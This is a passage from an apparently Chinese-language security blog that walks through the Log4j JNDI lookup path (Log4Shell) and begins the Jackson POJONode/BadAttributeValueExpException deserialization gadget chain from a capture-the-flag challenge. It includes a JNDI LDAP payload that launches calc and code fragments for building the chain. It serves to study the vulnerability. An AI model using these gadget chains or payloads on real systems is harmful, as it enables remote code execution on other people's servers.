}\n            }<\/code><\/pre>\n\n\n\n<p>\u8fd9\u6bb5\u4ee3\u7801\u7684\u610f\u601d\u662f\u82e5 <code>this.config<\/code> \u5b58\u5728\uff0c\u4e14\u6ca1\u6709\u7981\u7528 lookup \u529f\u80fd\uff0c\u4ed6\u5c31\u4f1a\u4ece <code>offset<\/code> \u5f00\u59cb\uff0c\u626b\u63cf\u5b57\u7b26\u4e32\u4e2d\u662f\u5426\u5305\u542b <code>${<\/code> \u5b57\u7b26\u4e32\uff0c\u627e\u5230 <code>${<\/code> \u540e\uff0c\u53d6\u51fa\u4ece <code>offset<\/code> \u5230\u672b\u5c3e\u7684\u5b57\u7b26\u4e32\uff0c\u8fd9\u90e8\u5206\u662f\u5305\u542b\u53d8\u91cf\u7684\u90e8\u5206\uff0c\u7136\u540e\u628a <code>workingBuilder<\/code> \u7684\u957f\u5ea6\u622a\u65ad\u4e3a <code>offset<\/code>\uff0c\u4e5f\u5c31\u662f\u5220\u9664 <code>${...}<\/code> \u5f00\u59cb\u4e4b\u540e\u7684\u90e8\u5206\uff0c\u4e3a\u540e\u7eed\u8ffd\u52a0\u66ff\u6362\u7ed3\u679c\u505a\u51c6\u5907\uff0c\u6700\u540e\u662f\u6700\u5173\u952e\u7684\u4e00\u53e5\u4ee3\u7801 <code>workingBuilder.append(this.config.getStrSubstitutor().replace(event, value))<\/code>\uff0c\u4ed6\u4f1a\u4f7f\u7528 Log4j \u7684 <code>StrSubstitutor<\/code> \u5bf9\u8c61\u6765\u66ff\u6362 <code>${...}<\/code> \u4e2d\u7684\u5185\u5bb9\uff0c\u4f8b\u5982\uff0c<code>${java:version}<\/code> \u4f1a\u88ab\u66ff\u6362\u4e3a\u5b9e\u9645\u7684 Java \u7248\u672c\uff0c<code>${jndi:ldap:\/\/...}<\/code> \u4f1a\u89e6\u53d1\u8fdc\u7a0b JNDI \u67e5\u627e\u3002<\/p>\n\n\n\n<p>\u6211\u4eec\u6765\u770b\u770b\u8fd9\u4e2a <code>StrSubstitutor <\/code>\uff0c\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u5728\u6ca1\u6709\u5339\u914d\u5230\u53d8\u91cf\u8d4b\u503c\u6216\u5904\u7406\u7ed3\u675f\u540e\uff0c\u5c06\u4f1a\u8c03\u7528&nbsp;<code>resolveVariable<\/code>&nbsp;\u65b9\u6cd5\u89e3\u6790\u6ee1\u8db3 Lookup \u529f\u80fd\u7684\u8bed\u6cd5\uff0c\u5e76\u6267\u884c\u76f8\u5e94\u7684 lookup \uff0c\u5c06\u8fd4\u56de\u7684\u7ed3\u679c\u66ff\u6362\u56de\u539f\u5b57\u7b26\u4e32\u540e\uff0c\u518d\u6b21\u8c03\u7528&nbsp;<code>substitute<\/code>&nbsp;\u65b9\u6cd5\u8fdb\u884c\u9012\u5f52\u89e3\u6790\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-172223-4-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-172223-4-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u800c\u8fd9\u4e2a <code>resolveVariable<\/code>&nbsp;\u5219\u8c03\u7528&nbsp;<code>this.variableResolver#lookup<\/code>&nbsp;\u65b9\u6cd5\u8fdb\u884c\u5904\u7406\uff0c\u53ef\u4ee5\u770b\u5230\u5b83\u5904\u7406\u7684\u5185\u5bb9\u662f${}\u91cc\u9762\u88ab\u63d0\u53d6\u7684\u4e1c\u897f\uff0c\u4e5f\u5c31\u662f\u6211\u4eec\u7684payload\uff1ajdni:xxxx\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-172343-4-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-172343-4-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u800c\u8fd9\u4e2alookup\u5176\u5b9e\u662f\u4e00\u4e2a\u4ee3\u7406\u7c7b&nbsp;<code>Interpolator<\/code>\uff0c\u8fd9\u4e2a\u4ee3\u7406\u7c7b\u4f1a\u4ee3\u7406\u6240\u6709\u7684&nbsp;<code>StrLookup<\/code>&nbsp;\u5b9e\u73b0\u7c7b\uff0c\u4ed6\u4f1a\u5728\u521d\u59cb\u65f6\u521b\u5efa\u4e00\u4e2a&nbsp;<code>strLookupMap<\/code>&nbsp;\uff0c\u5c06\u4e00\u4e9b lookup \u529f\u80fd\u5173\u952e\u5b57\u548c\u5904\u7406\u7c7b\u8fdb\u884c\u6620\u5c04\u3002\u6211\u4eec\u6765\u770b\u5230\u8fd9\u4e2alookup\u7684\u5b9e\u73b0\uff0c\u4ed6\u9996\u5148\u67e5\u627e\u53d8\u91cf\u4e2d\u5192\u53f7\u7684\u4f4d\u7f6e\uff0c\u76ee\u7684\u662f\u63d0\u53d6 <code>${prefix:name}<\/code> \u4e2d\u7684 <code>prefix<\/code> \u548c <code>name<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-172652-4-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-172652-4-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u5728prefix\u548cname\u65ad\u70b9\uff0c\u53ef\u4ee5\u770b\u5230\u5b83\u5c31\u5206\u522b\u63d0\u53d6\u51fa\u6765\u4e86 <code>jndi<\/code> \u548c <code>ldap:\/\/127.0.0.1:1389\/Basic\/Command\/calc.exe<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-173250-4-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-173250-4-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u53ef\u4ee5\u770b\u5230\u5b83\u8fdb\u884c\u4e86 <code>(StrLookup)this.strLookupMap.get(prefix)<\/code>\uff0c\u4e5f\u5c31\u662f\u53bb\u67e5\u627e\u662f\u5426\u5b58\u5728\u5bf9\u5e94\u7684\u89e3\u6790\u5668\uff0c\u8fd9\u4e2a<code>strLookupMap<\/code>\u5c31\u662f\u6211\u4eec\u6700\u5f00\u59cb\u63d0\u8fc7\u7684\u6620\u5c04\u8868\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-173447-4-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-173447-4-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u53d6\u5230\u4e86\u89e3\u6790\u5668\u4e4b\u540e\uff0c\u5c31\u4f1a\u6267\u884clookup\uff0c\u6700\u540e\u8fdb\u884cjndi\u6ce8\u5165\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-173843-4-11.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-173843-4-11.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">Jackson\u53cd\u5e8f\u5217\u5316(aliyunctf Bypassit)<\/h1>\n\n\n\n<p>Jackson\u53cd\u5e8f\u5217\u5316\uff0c\u6216\u8005\u8bf4aliyunctf Bypassit\u8fd9\u6761\u94fe\u5b50\u6bcf\u6b21\u6253\u6bd4\u8d5b\u90fd\u7ecf\u5e38\u63d0\u5230\u8eab\u8fb9\u7684\u4eba\u63d0\u5230\uff0c\u611f\u89c9\u5728java\u53cd\u5e8f\u5217\u5316\u4e2d\u8fd8\u633a\u91cd\u8981\u7684\uff0c\u8fd9\u6b21\u6765\u8ddf\u4e00\u8ddf\u3002<\/p>\n\n\n\n<p>\u5f53\u65f6\u9898\u76ee\u7684\u4f9d\u8d56\u6781\u5176\u7b80\u5355\uff0c\u57fa\u672c\u4e0a\u5c31\u662f\u5f97\u627e\u4e00\u6761\u539f\u751f\u7684\u94fe\u5b50\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>    &lt;dependencies&gt;\n        &lt;dependency&gt;\n            &lt;groupId&gt;org.springframework.boot&lt;\/groupId&gt;\n            &lt;artifactId&gt;spring-boot-starter-web&lt;\/artifactId&gt;\n        &lt;\/dependency&gt;\n \n        &lt;dependency&gt;\n            &lt;groupId&gt;org.springframework.boot&lt;\/groupId&gt;\n            &lt;artifactId&gt;spring-boot-starter-test&lt;\/artifactId&gt;\n            &lt;scope&gt;test&lt;\/scope&gt;\n        &lt;\/dependency&gt;\n    &lt;\/dependencies&gt;<\/code><\/pre>\n\n\n\n<p>\u5f53\u7136\uff0c\u5b9e\u9645\u4e0a\u9700\u8981\u7684\u4f9d\u8d56\u751a\u81f3\u6bd4\u8fd9\u4e2a\u8fd8\u7b80\u5355\uff0c\u6211\u4eec\u4e3b\u8981\u662f\u7528\u5230\u4e86<br>spring-boot-starter-web\u91cc\u7684jackson\uff0c\u5177\u4f53\u800c\u8a00\u662f jackson-annotations-2.13.3.jar\u3001jackson-core-2.13.3.jar\u548cjackson-databind-2.13.3.jar<\/p>\n\n\n\n<p>\u770b\u540d\u5b57\u5927\u4f19\u53ef\u80fd\u5c31\u9690\u9690\u611f\u89c9\uff0c\u8fd9\u4e2a Jackson \u53cd\u5e8f\u5217\u5316\u4f1a\u4e0d\u4f1a\u548c Fastjson\u53cd\u5e8f\u5217\u5316\u6709\u4ec0\u4e48\u76f8\u4f3c\u4e4b\u5904\u5462\uff1f\u5b9e\u9645\u4e0a\u8fd8\u771f\u6709\uff0cJackson \u53cd\u5e8f\u5217\u5316\u548c\u6838\u5fc3\u4e0e Fastjson \u6253 TemplatesImpl \u7684\u6253\u6cd5\u5dee\u4e0d\u591a\uff0c\u90fd\u662f\u60f3\u529e\u6cd5\u8c03\u7528&nbsp;<code>OutputProperties<\/code>&nbsp;\u7684&nbsp;<code>getter<\/code><\/p>\n\n\n\n<p><br>\u5728jackson\u4e2d\uff0c<code>POJONode#toString<\/code> \u65b9\u6cd5\u53ef\u4ee5\u8c03\u7528getter\u65b9\u6cd5\uff0c\u8c03\u7528\u8fc7\u7a0b\u5927\u81f4\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>BaseJsonNode#toString\n  InternalNodeMapper#nodeToString\n    ObjectWriter#writeValueAsString\n      ObjectWriter#_writeValueAndClose\n        DefaultSerializerProvider#serializeValue\n          DefaultSerializerProvider#_serialize\n            BeanSerializer#serialize\n              BeanSerializerBase#serializeFields\n                BeanPropertyWriter#serializeAsField<\/code><\/pre>\n\n\n\n<p>\u6211\u4eec\u6765\u8ddf\u4e00\u4e0b\uff0c\u770b\u770b\u4e3a\u4ec0\u4e48 <code>POJONode#toString<\/code> \u80fd\u591f\u8c03\u7528\u5bf9\u5e94\u7c7b\u5bf9\u8c61\u7684getter\u65b9\u6cd5\uff0c\u9996\u5148\u4f60\u5728 <code>POJONode<\/code> \u91cc\u5176\u5b9e\u662f\u641c\u4e0d\u5230\u4e00\u4e2a <code>toString<\/code> \u65b9\u6cd5\u7684\u5b9e\u73b0\u7684\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-210853-4-12.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-210853-4-12.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:738px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5\u6211\u4eec\u8bf4\u7684 <code>POJONode#toString<\/code> \u5176\u5b9e\u8c03\u7528\u7684\u662f\u5b83\u7236\u7c7b\u7684 <code>toString<\/code>\uff0c\u751a\u81f3\u4e8e\u5176\u5b9e <code>ValueNode<\/code> \u91cc\u4e5f\u6ca1\u6709<code>toString<\/code>\uff0c\u8c03\u7528\u7684\u662f <code>ValueNode<\/code> \u7684\u7236\u7c7b <code>BaseJsonNode<\/code> \u91cc\u7684<code>toString<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-211508-4-13.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-211508-4-13.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:796px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u518d\u6765\u770b\u770b\u8fd9\u4e2a <code>InternalNodeMapper#nodeToString<\/code> \uff0c\u5177\u4f53\u5b9e\u73b0\u4e5f\u6bd4\u8f83\u7b80\u5355\uff0c\u4e5f\u5c31\u662f\u7ee7\u7eed\u8c03\u7528\u4e86 <code>ObjectWriter#writeValueAsString<\/code> \uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-211726-4-14.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-211726-4-14.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:711px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6211\u4eec\u518d\u6765\u770b\u5230 <code>ObjectWriter#writeValueAsString<\/code>  \uff0c\u5b83\u7684\u4f5c\u7528\u5176\u5b9e\u662f\u5c06\u4e00\u4e2a Java \u5bf9\u8c61\u5e8f\u5217\u5316\u4e3a JSON \u5b57\u7b26\u4e32\uff0c\u662f\u4e0d\u662f\u6709\u70b9\u773c\u719f\uff1f\u662f\u7684\uff0cFastjson\u91cc\u4e5f\u6709\uff0c\u5e76\u4e14Fastjson\u8f6c\u6362\u7684\u540c\u65f6\u4f1a\u81ea\u52a8\u8c03\u7528getter\uff0c\u4e8b\u5b9e\u4e0a <code>writeValueAsString<\/code>  \u4e5f\u6709\u7c7b\u4f3c\u7684\u529f\u80fd\uff0c\u5b83\u4e5f\u4f1a\u81ea\u52a8\u7684\u8c03\u7528 getter\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-211938-4-15.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-211938-4-15.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6700\u7ec8\u7684\u89e6\u53d1\u70b9\u5728 <code>BeanPropertyWriter#serializeAsField<\/code>\uff0c\u5b83\u4f1a\u8c03\u7528\u5bf9\u5e94\u5c5e\u6027\u503c\u7684getter\u65b9\u6cd5\u8fdb\u884c\u8d4b\u503c\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-212545-4-16.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-212545-4-16.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u56e0\u6b64\u6211\u4eec\u73b0\u5728\u77e5\u9053\u4e86 <code>POJONode#toString<\/code> \u4f1a\u8c03\u7528getter\uff0c\u53ea\u8981\u5229\u7528\u5b83\u89e6\u53d1 <code>getOutputProperties<\/code> \u5c31\u559c\u63d0RCE\u4e86\uff0c\u90a3\u4e48\u73b0\u5728\u6211\u4eec\u9700\u8981\u627e\u5230\u4e00\u4e2a\u5730\u65b9\u6765\u89e6\u53d1 <code>toString<\/code> \uff0c\u8fd9\u91cc\u7528\u5230\u7684\u662f <code>BadAttributeValueExpException#readObject<\/code>\uff0c\u8fd9\u662f\u4e00\u4e2a\u539f\u751f\u7c7b\uff0c\u5728<code>readObject<\/code>\u7684\u65f6\u5019\u5c31\u89e6\u53d1\u4e86 <code>toString<\/code>\uff0c\u53ef\u8c13\u975e\u5e38\u7684\u7f8e\u5999\uff0c\u76f4\u63a5\u628a\u94fe\u5b50\u4e32\u8d77\u6765\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-213249-4-17.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-213249-4-17.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:723px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u5199payload\u4e5f\u4e0d\u96be\uff0c\u4e5f\u5c31\u662f\u5728\u539f\u672c\u7684 <code>TemplatesImpl<\/code> \u94fe\u5b50\u7684\u57fa\u7840\u4e0a\u52a0\u4e86\u4e09\u884c\u4ee3\u7801\uff0c\u9996\u5148\u5b9e\u4f8b\u5316\u4e00\u4e2a <code>POJONode<\/code>\uff0c\u7136\u540e\u628a\u6076\u610f <code>templates<\/code> \u4f20\u8fdb\u53bb\uff0c\u8fd9\u6837\u5728\u89e6\u53d1  <code>BaseJsonNode#toString<\/code> \u5c31\u4f1a\u89e6\u53d1\u6211\u4eec\u7684\u5bf9\u8c61 <code>templates<\/code> \u91cc\u7684 <code>getter<\/code> \u7136\u540e\u89e6\u53d1 <code>TemplatesImpl#getOutputProperties<\/code> \u6267\u884c\u6076\u610f\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POJONode node = new POJONode(templates);<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u5b9e\u4f8b\u5316\u4e00\u4e2a\u5bf9\u8c61 <code>BadAttributeValueExpException<\/code> \uff0c\u6211\u4eec\u5148\u4f20\u4e00\u4e2a null \u8fdb\u53bb\uff0c\u5426\u5219\u4ece\u4e0a\u9762\u7684\u56fe\u91cc\u53ef\u4ee5\u770b\u5230\u5b83\u4f1a\u5728\u521b\u5efa\u7684\u65f6\u5019\u5c31\u89e6\u53d1toString\uff0c\u7136\u540e\u628a\u8fd9\u4e2a <code>val<\/code> \u5c5e\u6027\u4e3a\u6076\u610f\u7684 <code>POJONode<\/code> \u5bf9\u8c61 <code>node<\/code>\uff0c\u7136\u540e\u5728\u53cd\u5e8f\u5217\u5316\u6267\u884c <code>readObject<\/code> \u7684\u65f6\u5019\u5c31\u4f1a\u89e6\u53d1(\u672c\u5730\u8c03\u8bd5\u7684\u65f6\u5019\u6ce8\u610f\u4e00\u4e2a\u95ee\u9898\uff0cIDEA\u9ed8\u8ba4\u4f1a\u81ea\u52a8\u8c03\u7528toString\uff0c\u8bb0\u5f97\u53bbsetting\u91cc\u628a\u8fd9\u4e2a\u5173\u4e86)\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>BadAttributeValueExpException val = new BadAttributeValueExpException(null);\nsetFieldValue(val, \"val\", node);<\/code><\/pre>\n\n\n\n<p>\u6ce8\u610f\u8fd9\u91cc\u8fd8\u6709\u4e00\u4e2a\u5751\u70b9\uff0c\u5982\u679c\u4f60\u76f4\u63a5\u5e8f\u5217\u5316\u4f1a\u51fa\u73b0\u62a5\u9519\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-215436-4-18.png'><img class=\"lazyload lazyload-style-1\" 